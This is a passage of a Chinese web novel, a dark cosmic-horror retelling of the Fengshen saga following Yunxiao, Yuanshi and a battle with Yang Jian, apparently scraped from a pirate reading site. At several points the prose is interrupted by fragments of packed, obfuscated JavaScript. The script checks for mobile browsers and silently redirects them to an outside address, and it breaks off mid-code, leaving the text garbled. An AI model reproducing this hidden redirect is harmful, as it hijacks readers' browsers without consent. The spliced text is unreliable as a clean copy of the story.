RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13497844|142131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开辟者对她的一点偏爱。 无法掠夺。 元始深深的凝望云霄,不知该叹她幸运还是不幸。 他收回手,同时也收回了“门”。 封闭了五感的云霄维持着站立的姿势,嘴唇抿着,显出几分倔强。 她此时的模样并不好看,肉身已然开始异化,臆想成为了现实,皮肤表面长出密密麻麻的小肉芽,蠕动着像个会呼吸的虫巢,望之可怖。只有一张清丽柔婉的面容还算干净。 可在元始眼中,她却如同黑暗中唯一的纯净光明,一线生机。 他的表情平静,没有再去触碰云霄,然殿内挤满的透明触手却欢欣鼓舞,缠绕挤压着,向毫无知觉的她靠拢。 是该彻底化身黑暗,还是追逐那微弱且不一定有用的光明? 得到这一线生机,对他究竟是幸,还是不幸? “云霄……” 这个陌生的名字头一次从他喉咙里发出,好似一声叹息。 ——云霄蓦然睁开了眼。 她好像做了个很长的梦,梦里她行走于无数透明的触手之间,有一轮巨大的月亮注视着她。她迷蒙的看到对方弯弯曲曲的沟裂,透明触手盘盘绕绕,原来是它们长得像蛆虫一样形状的脑子。 嘻,白衣金冠,还挺俊。 “把它吃了。” 长得挺俊的脑子丢给她一颗黄色眼珠子,示意她好好啃。 黄色的眼珠子用无神的瞳孔追寻她的面容,随着她的眼睛一起转。闻起来怪香的嘞! 云霄小小咬了一口,眼珠子流出的脓血浸她一手,又辣又咸。她作呕想吐,长得挺俊的脑子却不让。 “吞进去,不许吐。” 一只透明的触手捂住她的嘴。 好吧。她先干为敬。 眼前有些模糊,辛辣的眼珠子越吃越甜。云霄迷蒙的低头看那吃剩下的半颗果子,见其形似珠蕊,金黄色,有没被她啃完的“黄中”二字嵌于其上。 这莫非是……传说中三万年才长九个果子,吃一颗就能成就大罗金仙的黄中李? “清醒了?”长得很俊的脑子又在问她。 云霄抬眼看过去,觉得这个脑子长得虽然还行,但多半是坏掉了。 她生气的问脑子,“我用了一千年好不容易修成大罗金仙,你把黄中李给我吃了岂不是很浪费?” 脑子沉默的看着她,让她“继续吃。” 稀奇了,她居然感觉这个脑子对她很无语。一个脑子,他无语什么! 秉持不能浪费的原则,云霄欢快的边吃边想。 这是哪儿?她是谁?她手背上的皮肤哪来那么多小疙瘩?还好越来越淡了。救命她脸上应该没长这丑东西吧?话说这个脑子怎么越看越像个人?他长得真好看啊,快赶上她师父了…… 云霄吃完了一颗黄中李,把果核收到袖中,准备回去种一下试试,万一能种出来呢。浪费是不可能浪费的,她两个妹妹都没吃过呢。 说起两个妹妹,她们现在应该在—— 记忆迅速的回笼,一帧一帧,云霄欢快的表情也随之变得严肃冷静。 “看来是醒了。” 她听到元始的声音,离自己那样近。 云霄冷静的分析,身后的“门”已经不见了,她不确定自己是否通过了“门”。但从元始竟会走下来,给她吃黄中李,可以判断她至少是通过了祂的考验。 “你可有道侣?” 祂又问了一个云霄意料不到的问题。 云霄对那种会让她思维混乱的污染心有余悸,哪怕在元始跟前,视线也刻意避开了祂所在。 “这与圣人抓我来此有什么关系呢?” “有关系。” 那圣人平静的回答,好像真的在与她对话,却并不平等。 “本尊要你,与吾结成双修道侣。” “……” 把她抓来,盘得半死不活,是为了与她结成双修道侣?她的二师伯,阐教教主,天地间仅有的六位圣人之一,竟然要跟祂眼里的一只蝼蚁结为道侣? 云霄怀疑自己的脑子还是不太清醒。 但她决定不清醒到底。 “哦,那我不愿意。” 她仰起头,直视不可思议。 4. 战杨戬 话说人间,自西出汜水关,岐山脚下,商周两军已在此胶着战多时。 这两军战场也是有趣,除去一开始由主帅指挥三军对战一轮,后面两方各自请来神仙若干,把个人间的战场变成了仙人的斗法现场。 今日商军一方摆下阵法,周营来几个仙人破阵。 明日商军出一道人去营前叫阵,也不需要什么小兵跟随,只凭借他自己的法宝法术来逞厉害。 然后周营一方也不落后,扎了个对家道人的小草人,暗行诅咒之术,不论距离,射箭于草人之上,便可杀人于无形。 你来我往的,好不热闹。主帅将领们怎么想的不知道,反正小兵们不用奔着往前卖命,是挺闲的。 今日又是神仙打架的一天,商军一方的旗门官闲来无事,正与边上守营的将士闲聊。 “那西岐的先锋杨戬好生无情,放狗咬的其中一位仙姑,那个肩膀上的血直往下流,掉了好大一块肉,我看着都疼。” “可不是嘛,西岐野人,半点不懂得怜香惜玉咧……” 他们都是朝歌的小贵族出身,自来看不起西岐穷苦偏远之地。 正聊着,忽见一抹青红云霞自天边飘落,离得近了才知,原是一赤衣女仙跨青鸾而来。 旗门官这些时日也见了不少仙长,前两日才迎过四位仙姑,自是眼力不凡。他远观那女仙足踏麻鞋,身着枫红霞衣,青鸾坐骑伴着瑞彩旁生。便知又是一位道门真仙,得罪不起。 不待青鸾落下,便高声询问,“前方乃大商闻太师中军安帐之处。敢问仙姑从哪里来,有何贵干?” 半空中的女仙道,“可去报与中军,三仙岛修士云霄前来寻人。” 这乘青鸾而至的女仙正是从三仙岛匆匆赶来的云霄。她之前没能拦住两个妹妹,思量间稍迟了片刻,等她不放心追上去时,那两个丫头已跑的没影了。她只好一路追来了西岐。 云霄从青鸾背上下了来,却见那应当去报信的旗门官就愣愣定在原地不动,一双眼盯着她,情似惊似骇,竟流露出几分惧色。 怎么她很让人害怕吗? 云霄不解,一边的守营将士也不能理解。推了旗门官一把,斥他,“你还不动,傻站着作甚?” 旗门官如梦初醒,竟是看都不敢再看云霄一眼,转身匆匆离去了。 云霄看着对方远去的背影,微微蹙眉。以往她都是被认识的同门说看着太温柔,威严不够。像这样遭人畏惧还是头一回。 说来今日坐骑青鸾似乎也有些怕她,不像以往到了地方以后还要蹭蹭她的衣袖乞食,在空中盘旋不去,今日却是一送到就跑的飞快。 难道是她没追上琼霄碧霄,心情不好吓着青鸾了? 云霄在原地默默反省自己的心态。没等多久,便有一行人匆匆出了营帐,奔她而来。 “姐姐,你怎么现在才来啊!” “呜呜大姐你可算来了!” 两个女孩儿飞扑到云霄怀里,乳燕归巢一般,好像受了天大的委屈。 云霄熟练的一手搂住一个,正待要安抚,二女已经迫不及待开始告状。 二妹妹琼霄委委屈屈,让云霄看她手臂上的淤紫,“大姐,你看那姜子牙给我打的。” 碧霄更是凄惨,一张小脸泛白,肩膀裹着伤处隐隐还露出血色,边哭边骂, “阐教的不讲武德,欺人太甚。那个三代弟子杨戬打不过我金蛟剪,竟然暗中指使放狗咬人。姐姐,我好疼啊——” 云霄低头一看,又气又怜。她正是怕二女在外吃亏,匆匆追赶上来,竟还是迟了。 “我只晚了半刻功夫,怎就把你们伤成这样?” 听到云霄的话,二女却是哭声一顿,面面相觑。 碧霄口快直言,“大姐可是气糊涂了?我二人出三仙岛,与姐姐分开已两日有余了,哪里只有半刻功夫?” 两日?云霄胸中一悸,像是被什么狠拧了一下。 她记得自己分明是打发走了申公豹就马上乘青鸾来追她们,怎么会过去两日有余? 琼霄没有在意,只当是云霄口误,兀自委屈,“还以为姐姐再也不管我们了呢……” 她们诉苦时,闻太师同菡芝仙、彩云仙两个截教女弟子也慢一步赶到。 闻太师名闻仲,黄脸长髯,额心生有一神目,紧紧闭着。他师从于截教大师姐金灵圣母,学道五十年,在大商是三朝元老,一军主帅。 此时见到云霄,满面惭愧,拱手道,“弟子无能,愧对几位师叔。” 琼霄和碧霄单对着云霄说哭就哭了,见闻仲过来还是收起眼泪,硬撑长辈模样。替他辩解, “不怪闻师侄,都是阐教门人的过错。” 云霄对闻仲微微颔首,才说了一句“我必然不会怪你”,那彩云仙子便走过来拉住云霄的手。 埋怨道,“师姐自来放心不下碧霄和琼霄,三姐妹同进同出,到哪里都一处。怎么今次这般狠心,晚了两天才来呢?” 菡芝仙和彩云仙同住东海上,即是截教的同门师妹,也算云霄的老邻居。 菡芝仙不比彩云仙子跟云霄熟悉,只跟着道,“若是姐姐早来,布下那九曲黄河大阵,保管叫他阐教人有来无回,何至于让妹妹们受此委屈。” 这九曲黄河大阵,乃是通天教主亲授,配合先天灵宝混元金斗使用,包含天地三才之妙。神仙入内成凡,凡人入内则死。威能莫大。 教主言琼霄和碧霄二女修为未至大罗金仙,心性不稳,恐她们一时意气冲头就乱用此法,伤人害己。所以布阵之法只传给了更为稳妥的云霄,两个小的仅让她们学了如何配合云霄操作阵法,不会布阵。 此时一听菡芝仙提起九曲黄河阵,两个小的顿时眼睛发亮,身上的伤口都不觉疼了一般。 “菡芝姐姐说的是,合该让阐教的知道咱们厉害。” “大姐,咱们布九曲黄河阵吧!” 云霄听了,却还觉得不妥,“师尊传阵法之道是为辅助修行,让我等自保。岂是教我们逞凶斗狠,滋事寻仇的?” 她始终记得恩师不许截教弟子下山介入封神大劫的命令,但看二女受伤凄惨的模样又心中不忍。 不怪琼霄和碧霄如此,她们三姐妹自化形就拜入圣人门下,千年来何曾吃过这样的亏? 加上当年大师兄大师姐教导她们时,话语里对阐教的敌意深重,导致两教不合几乎是刻在骨子里的。今日她们被个阐教师侄辈的杨戬伤了,伤的不是身体,更是截教二代弟子的面皮。 云霄心里其实已经有些动摇了,碍于师命还要挣扎一下。 遂与众人说,“且待我去会一会那姜尚杨戬再做决定。” 众人料想云霄的修为比之两个妹妹要精进许多,运用法宝更是得心应手。若能找回场子来,也就不需要动用九曲黄河阵了。故大家都无什么异议。 便由闻太师引云霄去周营前面,彩云仙菡芝仙跟着压阵,至于琼霄碧霄则让她们回去养伤休息了。 一行人离开后,守营的将士推了推自从见到云霄后就魂不守舍的旗门官。 “那新来的云霄娘娘莫非能比大王的苏娘娘还貌美?上回见苏娘娘你也没这么失态啊。” 苏娘娘原是冀州苏护之女,名妲己,美貌妖媚,世所罕见,让商纣王为她杀死了原来的王后和两个王子,只为封她为王后。他们是这一次才从朝歌出来的新兵,过去对美貌都以苏妲己为判断。 “这位不一样……” 旗门官神情恍惚仿佛还停留在见到云霄的那一刻。 “她很像是……像是我第一次参与祭祀圣神。” 神不可直视。明明害怕到骨子里,却完全挪不开眼。心脏以不属于自己的频率振奋,好像随时都能异化成更强大的存在。 那将士过去就跟旗门官熟悉,知道他老早就是个卜筮狂人,凡事必问卜,他的奴隶也大多用于祭祀。这次出朝歌远赴西岐,大概路上不知道又是被哪个野神的祭司迷住了。 小将士撇撇嘴,随口问,“什么圣神,能比昊天上帝厉害吗?” “你懂什么!” 旗门官突然大吼,像一只发怒的狮子,布满血丝的眼睛死死盯着过去的朋友。 “无上圣神将会从地心苏醒,所有仙神都是祂的祭品!” 对方被吓了一跳,不想跟他争辩,便转开话头,“行行,你说得对。什么时候也带我去见见奴隶坑的那位大祭司?” 旗门官不理睬,兀自嘟囔着,“不可直视神……她一定跟神有关,对,对,我应该去告诉大祭司……” * 云霄见到了姜尚和杨戬。 此时已近日暮,岐山脚下,旌旗蔽日,尘土飞扬。 云霄降下青鸾,冷声问,“你就是姜尚?” “然也。” 回话的是个干巴消瘦的老头,花白的头发,背已微驼。只一双眼,犹如深邃的湖泊,沉静着智慧。他看模样就是个凡人老头,实不像个修行之人,更遑论还是元始天尊的弟子。 相比之下,姜子牙身下那只似牛非牛、似马非马、似驴非驴、似鹿非鹿的坐骑四不像,似乎更厉害些。修为竟然让她看不透。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13497845|142131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 仿佛是察觉到她的注视,那只修为高深的四不像被她的打量吓到似的,瑟缩着后退了两步。 这两步没惊着云霄,倒是惊到了姜子牙。 须知四不像可是阐教圣人元始天尊的坐骑,见谁都不怵的,怎么好像很怕云霄? 见四不像退后,云霄暗评一句“经看不经用”,便不再看它了。 朗声对姜子牙道,“吾居三仙岛,本是清闲之士,不管人间是非。姜尚,我且问你,缘何要下狠手害我兄长,伤我妹妹?” 姜子牙面对此质问,却是神态自若。答曰, “非是我等绝情,实乃令兄不尊天数,强惹是非。自取死路,怎能不遭殃劫?” 云霄虽气他言辞,也知姜子牙说的没错。微微沉默片刻,叹道,“我兄长遇害归根还是陆压道人所使,稍后我自会找他。但你打伤我妹妹,我却不得不问罪于你。” 话说罢,她将金蛟剪祭出。法力催动下,金色的剪子在空中化为两只青色蛟龙,尾部交叠,两个蛟龙头呼啸着向姜子牙咬去。 还没到姜子牙跟前,却从旁里飞出一把三尖两刃刀,架住蛟龙。 “杨戬在此,休得伤我师叔。” 云霄抬眸,见一青年跃出。其人似道非道,似俗非俗。头戴扇云冠,道服丝绦,骑白马,执长枪。生得相貌堂堂,鼻若悬胆,面如冠玉。额头眉间三眼竖立,龙章凤姿,好不俊朗。 她笑道,“原来你就是杨戬,来的正好。” 见他接住金蛟剪,便又放出混元金斗。金色法鼎倒悬于空中,宝光万千。 杨戬修炼□□玄功,肉身极为强悍。这金蛟剪他已经不是第一次打交道,之前赵公明和琼霄都用过此宝。凭借强悍的肉身和武艺,几乎伤不到他。 他原是信心满满,却不想今日换了云霄催使,这法宝威力倒像翻了个倍。两头蛟龙张牙舞爪,神勇非凡,以他之力,竟也只是勉强压住。 又见云霄同时放出混元金斗,杨戬不由得心下叫苦。幸而他还有个好灵兽。 脑中思绪如电,杨戬暗暗做了个手势。 他的灵兽哮天犬早埋伏在侧,得到指令,便纵身跃起,如一道白色的风,直取黄龙。向云霄咬了过去。 正可谓仙犬修成号细腰,形如白象势如枭。 如今修士斗法,多依仗法宝,少有灵兽参与的。 云霄没有经验,只盯着杨戬,哪里能料到他还有这一手。 眼看哮天犬的利齿已近在眉睫,云霄甚至能闻到它口中的腥气。她心知自己躲闪不及,恐怕要损失一块皮肉了。 电光火石之际,她与哮天犬那咫尺距离之间,忽然凭空泛起一阵诡异的空间波纹,几乎要咬到她的利齿竟擦着无形的虚空,轻飘飘滑了出去,头朝下噗通落地。 “汪嗷呜——” 哮天犬被砸懵了。但它战斗意识是杨戬练出来的,只一瞬,便要重整精神再扑云霄第二次。 云霄也不傻,只是斗法没经验。吃了一次亏,哪里还会再吃第二次? 金蛟剪随她意动,当即弃了杨戬,直取哮天犬。 保护了云霄一次的无形空间并未消散,此时静静的扩散开来,笼罩住她身周方圆十步的空间。 噗通——噗通—— 云霄突然听到自己的心跳。 才要抖擞精神再战的哮天犬很不幸也在这个范围内。它刚起跳,要摆脱金蛟剪的攻势,跳到半空,却被什么重物压住似的,一下子掉落在地。 “哮天犬,快躲开!” 杨戬被混元金斗的宝光罩住,一时难以脱身,眼看金蛟剪要接近哮天犬,只能焦急的呼喊让它避开。 然而哮天犬却出人意料的蜷缩在地,瑟瑟发抖,哪怕两条蛟龙已经追了过来,将它卷起卡在空中,它一动也不敢动。 至此,只须云霄心念一动,随时都能把哮天犬一剪成两截。 杨戬心急如焚,以土遁之术逃脱了混元金斗的宝光范围,到哮天犬边上,也不敢妄动。只得向云霄躬身求情, “娘娘莫要伤它!杨戬愿代哮天犬受过。” 云霄没有回应杨戬。 落日的余晖洒落在大地上,渲染出一副血红色的画卷。 她仰头看上空,天已日暮。被染红的层云一重重如波纹叠宕,好像脑浆一样。半悬的落日缀在其中,苍茫远阔。 可在她眼中,那落日却是一个巨大的眼珠子,瞳孔里盘缠有无数血色线虫,沉默的注视着她。 云霄无意识的舔了舔嘴唇。 红彤彤的大眼珠子呀,想吃。 5.天目 周营中并非只有杨戬这一员大将,只是云霄孤身前来挑衅,对方也只按规矩只出一人罢了。 此时见杨戬竟不敌,当即另有一年轻小将黄天化纵玉麒麟,挥舞着两柄银锤冲杀过来。 “杨戬,我来助你!” 这黄天化也是阐教三代弟子,师承于十二金仙之一的清虚道德真君,与玉鼎真人门下的杨戬虽不是同一个老师,也份属同门。 年轻一代中,除了太乙真人的弟子哪吒,就数黄天化武艺高强。 眼见那黄天化座下玉麒麟飞驰,另一边为云霄掠阵的彩云仙已然操起法宝要来襄助。不想那玉麒麟却在距离云霄十步以外,蓦然软了腿脚,垂直跪地。直把它那主人也带得歪斜倒地。 黄天化顺势打了个滚起身,正要举锤来袭,却发现自己竟无法进入云霄十步以内。 卡在十步的范围边缘似有一层薄薄的空间结界,蒙着重薄雾一般,他们能看到里面,却听不到,也近不了前去。 混元金斗不知何时笼罩在了他们上空,宝光万千,好像那重空间就是它所造成的一样。 黄天化一时没了主意,回头问,“姜师叔,这该如何是好?” 姜子牙见势不妙,早已传令左右,“速去请我阐教众位师兄和燃灯老师前来解围。” 又对黄天化说,“你可退远些,我观那云霄不似其他截教门人那般无礼,或许杨戬待会儿自可脱身。” * 结界之内—— 杨戬的情况并没有外界看起来那么好。围观者都以为只是一重简单的空间结界,然而置身其中,才能体会到那种诡异莫测的压力。 不到十步之距,杨戬可以清晰看到云霄的模样。 不同于他以前打交道的,截教那些动物化形后长得乱七八糟的修士。这位云霄娘娘身姿婀娜,清雅绝尘。 一点朱缨垂下耳畔,云鬓双蟠,更衬着肤白如玉,柳眉细眼,粉面似丹霞生晕,说不出的清丽脱俗,温婉动人。 夕阳笼罩着她,无边暖色。 她亦仰望太阳,不知想到什么,脸上流露出一种他无法形容的神态。但依旧很美。 夕阳,美人,土地。 这幅美丽画卷的每一个组成部分都很美,红色的夕阳照耀着他,一切看起来都是暖洋洋的。可杨戬却突然觉得冷。 ——因为云霄已回头看他。 那目光即纯净,懵懂澄澈如婴儿,又……又什么呢?他形容不出。 她微笑的,注视着他,带着几分婴儿般的好奇,问他, “杨戬,你为何不睁眼看我?” “娘娘何出此言?杨戬自认并无此失礼之举。” 青年双目炯炯,又作揖,尽可能显得真诚。“哮天犬全是听我号令,还请娘娘饶恕它一命,杨戬愿代它受过。” 云霄没有回答他,而是微微偏头,明眸善睐,似在倾听。 “它们让我问你,既有眼睛,为何要紧紧闭目,不观天地呢?” 空气一时寂静。 顿了两息,杨戬哑声问,“它们,在何处?” “到处都是啊。” 云霄给了他一个你好奇怪的眼神,抬手画了一圈,“都快挤死了,你看不到?” 他看不到,看不到所谓的“它们”,只能看到云霄。 在温暖的夕阳余晖中,杨戬感觉到莫大的恐惧。他终于明白哮天犬为何会突然倒地瑟瑟发抖,灵兽比人的感知要灵敏得多。 那是一种极为无序和混乱的感觉,无法描述,无法形容,以至于他感觉到冷,舌尖却焦灼发烫。他感觉云霄不对劲,眼睛却无法离开她的面容,甚至连心跳也属于她,为她而奋力跃动。 似乎连这一方天地,都在注视着她。 祂注视着她。 她很美,美极了。 那张美丽温婉的脸上流露出悲悯,望着他叹息, “哎,你闭着眼睛,还有一只手遮着它,如何能看得到。” 这一刻,与他对话的,真的是云霄吗?可不是云霄又是谁?亦或者,他所看到的云霄不是完整的云霄,只是他能看得到的云霄? “手,又是什么?” 杨戬的声音嘶哑至极,像是被火焰灼烧过一样难听。 云霄一直都是个善良温和的人,于是她走近他,抬起手,轻触他的眉心。 “这里,有一只手,你不知道吗?” 像一朵轻云柔柔的落下,那只手纤白如玉,有一点冰凉。 她的眼神是那般温和,以至于他竟没有躲避。 杨戬有一只天目。平日并不开启,看上去就是一指宽的墨纹,竖在额心。若遇危难关头,开启天目,眼里会放出一道雷光救急,亦可看破虚妄逃生。 说叫天目,却非天生。而是他的师父玉鼎真人头一次带杨戬上昆仑山拜见师祖元始天尊之时,天尊赐下的。 它看起来是一颗通体漆黑,但又五光十色的宝珠。玉鼎真人带他回到金霞洞后,亲手划破他的眉心,将宝珠嵌入进去。 “二郎啊,这天目虽已与你血肉相牵,但你切记,在你修为至大罗金仙以前,若非遇到性命攸关之时,不得随意动用。” 杨戬记得他下山前,师父玉鼎真人反复叮嘱。 问及缘由,玉鼎真人则意味深长的说,“有时候,看到真实并不一定是好事。这是你师祖传下的诫命,你记住就是了。” 既是师祖诫命,他务必听从。除开嵌入之时在师父的指导下使用过一次,杨戬下山后一次也没有用过。 可是此刻,在云霄的指尖下,那只由师祖赐予的天目在额角剧烈跳动。好像里面真的长出一只手,小小的,伸出五指,紧紧握成拳,肆意的扯动那颗与他血肉相连的眼睛。 疼……眼睛好疼…… 两行鲜血从杨戬的双眼里流出来,代替那颗天目流下血泪。 杨戬,杨戬,你为何紧闭双眼? 他没有。 若没有,你为何不睁开眼,看看这真实的世间? 因为师祖不让……因为,有一只手握住了他的眼睛,不让他看…… 云霄凝视着杨戬的痛苦,好像也有人在凝视着她,凝视她冷漠旁观杨戬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13518410|142131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的异化。 但云霄终究比注视着她的存在要心软,她是个温柔体贴的好人。 静静旁观了片刻,她不知又听到了什么,违心的对杨戬说, “我刚才是骗你的,你眼睛里的不是手,只是一颗红彤彤的眼珠子而已。” 她抬起刚才那只点过杨戬额头的手,遥指远方的天际。最后一点落日即将消失在岐山脚下。 天快黑了。 云霄有点不舍的舔了舔嘴唇,告诉杨戬, “喏,是红彤彤的眼珠子,就跟它一样。” 杨戬疼麻了,竟然真的随着云霄的手看过去。 天边边,岐山下。半轮落日只剩新月似浅浅弯弯的影。他的眼睛被血泪染红,看什么都朦胧着一层血色。只是落日而已。 唉…… 谁,谁在叹息? 那只小小的手蓦地松开了,让他去看见真实。 他看到了。 空气中挤满了半透明的,黏腻的触手,拥挤得让人窒息。 他看到了。 那落日是扭曲了涣散的瞳孔,那新月影是诡异的微笑。曜日的红是密密麻麻纠缠蠕动的线虫,它们吃掉了太阳,它们自己就是太阳。 他看到了。 太阳彻底落下,落在了他的额心,落在了他的眼睛里。可怕的脏东西,无数血红线虫,落在了他的眼睛里。如夕阳一样,红彤彤的眼珠子,落在了他的眼睛里。染红了扶桑木一样,小小的手。 原来,他的眼睛里真的有一只手啊…… 不,不,眼睛里怎么可能有手? “假的!都是假的!” 杨戬浑身震颤,双目流出血泪,缓缓顺着俊朗的脸颊蜿蜒而下,像两条正在蠕动的血红线虫。 他的手抬起来,颤抖着,猛然一发狠,扣向自己眉心。 挖出来!把它挖出来!挖出来就看不到了! 空气里不可能挤满触手,太阳不可能布满红色的虫,他的眼睛是师祖赐予的天目,不可能会有手。 假的!都是假的!是云霄的诡计,她在骗他! “诶,你干嘛要挖自己眼睛呀?” 他透过血红的眼看她。云霄的声音还是那样温和,她甚至抓住他的手腕,不让他做这样伤害自己的事。 即便周身簇拥挤满了黏腻透明的触手,她依旧是那样美,那样温柔。 “你说他怕你们?” 她歪头倾听其中一只触手的话,很是诧异,“你们除了挤了点,有哪里可怕了?喜欢,我当然喜欢你们呀——” 这句话说出来,杨戬似乎看到那些半透明的触手似乎染上了羞人的薄红。然后下一瞬,所有触手轰然散尽,跑的干干净净,一根也没剩下。连带着那种无处不在的诡异磁场似乎也消失了。 云霄看着被她抓住手腕的杨戬。远离了污染源,思维乍然回归,她脑中一时有些空白。 “方才……” 发生了什么? 后面半句话还没有问出口,她便听到空中传来一声暴呵, “妖女!休伤吾徒!” 6.争锋 云霄闻声望去,见空中一道金色长虹飞至,撞翻了不知何时跑到她头顶的混元金斗。虹光落下,原是那阐教十二金仙之一的玉鼎真人正对她怒目而视。 “师父……” 杨戬含糊唤了一声,流着血泪的眼睛安心的闭上,就那么晕了过去。 云霄此时还握着他的手腕没松开,脑中断断续续般回忆着方才跟杨戬的对话。眼看被自己抓着的人晕过去,下意识就扶了他一把。 她好歹是大罗金仙之境,就算肉身不比修炼八、九玄功的杨戬那么坚硬,力量还是足的。这无意识轻轻一拽,不但阻止了青年下滑的趋势,反还将他拉到自己身前,半扶半抱一般。 云霄低头看了看倒在自己臂弯里的青年道人,微微皱眉。 她记得哮天犬咬她时莫名其妙出现的空间结界,似乎是从那时开始,自己就跟失去了理性一样变得奇奇怪怪。然后杨戬过来了,似乎是说了什么,但她周围太吵了,不知是挤满了什么,都在跟她说话。 很奇怪。神智不清晰的云霄可以清楚的听到那些话语内容,可现在的她回忆起来,却尽是些嘈杂的毫无意义的呓语,根本无法理解,且越是回忆越是忘却。 同样,她也记不起为什么要让杨戬看自己,看太阳,又为什么杨戬看过以后会陷入混乱,乃至发疯一样去抠他自己的眼睛。一切在记忆中都是模糊不可窥探的。 云霄隐隐猜测,这异常是否会与她消失的两日有关呢? 目光再次落定在杨戬眉心,不同于双眼自行流下的血泪,这块地方却纯粹是被他自己挖的血肉模糊。一点墨色在血肉里若隐若现,光华流转,像有生命一样,一跳一跳的闪动。 或许,这阐教弟子能告诉她,方才究竟看到了什么。 想到此处,云霄的手微微收紧。在旁人看来,更像是把杨戬搂在怀里一样,好不亲密。 玉鼎真人着青色道袍,背负斩仙剑,清隽古朴。见徒弟晕倒在云霄怀里,两眼渗血,天目深陷,苍白着脸,好不凄惨。 真人一时怒意勃发,差点要拔剑相指。 “你这妖道,你对我徒儿做了什么!” 云霄抬起头,看向玉鼎,不悦道, “我乃上清门下,道门正宗,三教系出同源,道友以妖道相称,莫非是看我上清一脉不起?” 玉鼎只是心疼徒弟,一时情绪激动。被云霄这么一反问,哪怕阐截两教弟子互相埋汰是惯例,他也不敢在大庭广众之下说看不起上清一脉。 见徒儿只是晕过去,暂时没有性命之忧,便缓和了口气。拱手道, “是贫道失言,还请云霄道友不计前嫌,放了我这徒儿吧。” 云霄淡淡道,“大劫之前各家有言在先,死生上榜,全凭本事。道友如今要我放了你徒儿,莫非死在令徒手中的人,也都能出来说一声不计前嫌吗?” 他们说话间,阐教其他十一金仙并副教主燃灯道人稍慢一步,联袂驾着庆云,浩浩荡荡而来。 原是在云霄姐妹到来之前,闻太师请了截教十天君在此布下十绝阵。姜子牙无力破阵,便请了阐教十二金仙并燃灯道人前来襄助。前番十绝阵已经被他们破了九个,还有一个未破。故这些帮手也没回去,还留在岐山。 方才姜子牙见得云霄神通,心知此番又来了个不好对付的大敌,故遣人报与阐教师兄,请他们先来探一探云霄的底。 玉鼎真人担心徒弟先行一步,其他人则不慌不忙后一步到来。 “久闻三仙岛三霄娘娘之名,百年前在碧游宫无缘与道友说话,今日得见,果然有截教的威风。” 这说话暗藏机锋的道人着八卦紫绶仙衣,颔下三缕长须,头戴莲花冠,面色红润,身量高大,正是阐教元始天尊的大弟子广成子。 广成子做了个道揖,又道是,“助纣为虐,倒行逆施,必为天数不容。贫道好言相劝,云霄道友还是放了我这师侄,尽早归山去罢。” 云霄还未答话,却有那小妹碧霄的声音传来, “什么容不容的,天数由你说了算吗?姐姐,断不能放他!” 云霄闻声回头,见彩云仙、菡芝仙、碧霄、琼霄,四名女仙皆来了,又有闻太师率军前来压阵。 她有些无奈,“让你们回去养伤,怎么又跟了过来?” 琼霄道,“既为姐妹,怎能让姐姐独自应敌。” 碧霄则指着云霄怀中的杨戬,一脸不高兴,“这小子放狗咬了我一口,姐姐你怎么还抱着他呀!” 云霄低头,这才意识到自己下意识扶住杨戬后一直忘了松手。她也不在意,掐诀唤回了混元金斗,把杨戬收进去。然后把金蛟剪和混元金斗一个妹妹塞了一个。 道是,“来归来,可不能再让自己受伤了。” “我们省得的。” 二女笑着作答,转眼又对阐教那方怒目而视。 菡芝仙开口就骂道,“好生无礼的玉虚门人,十三个欺负我姐姐一个,真当我截教无人了吗!” 彩云仙子直接祭出戮目珠,一副要动手不必多说的派头。 见这五位女仙杀气腾腾,十二金仙排行第二的赤精子暗暗给大师兄广成子传音, “师兄听我一言,她们只有五个人,又是女流之辈,真要打杀起来也是胜之不武。恐怕传出去要让人耻笑。” 广成子暗自点头,正待要再说话,副教主燃灯道人却已骑着梅花鹿走出,笑着打圆场。 “红花白藕青莲荷,三教本是同根生。诸位仙子还要唤我家教主一声二师伯的,莫要伤了两教和气。” 云霄见这道人容貌清奇,形容精怪,骑一只梅花鹿,跟十二金仙仙气飘飘的造型不怎么搭。回忆起百年前碧游宫签押封神榜时,元始天尊没带着他,心中对此人的身份已有猜测。却还是故意问道, “你又是何人?” 他答,“灵鹫山上客,元觉道燃灯。” 云霄点头,“哦,你就是抢了我兄赵公明的灵宝不还的阐教副教主,燃灯道人了。” 她的的口吻还算客气,碧霄却直接把白眼一翻,恨声质问,“燃灯,你抢我兄长定海珠时怎么不说怕两教伤了和气? 云霄又跟着道,“我兄是散修陆压所害,我不找你等麻烦,但有一件,那先天灵宝定海珠乃是师尊通天教主所赐,斗法时被道友掠去。如今兄长仙逝,他的灵宝理当交还师尊。若要谈两教和气,还请燃灯道友先将那二十四颗定海珠还了吧。” 燃灯闻言,登时笑脸一僵。 须知他燃灯原也不缺灵宝,唯独那定海珠,当初一见赵公明用出,他便知此宝事关自己成道的关键,一定要拿下。云霄不说便当作不知,说了,他难道还敢抢通天圣人的东西不成?可是真要还…… 燃灯叹了口气,“云霄道友有所不知,那定海珠乃西方佛教之宝,注定要归西方所用,令兄福缘不够深厚,故失此宝。” 此话一出,截教一方具是大怒。 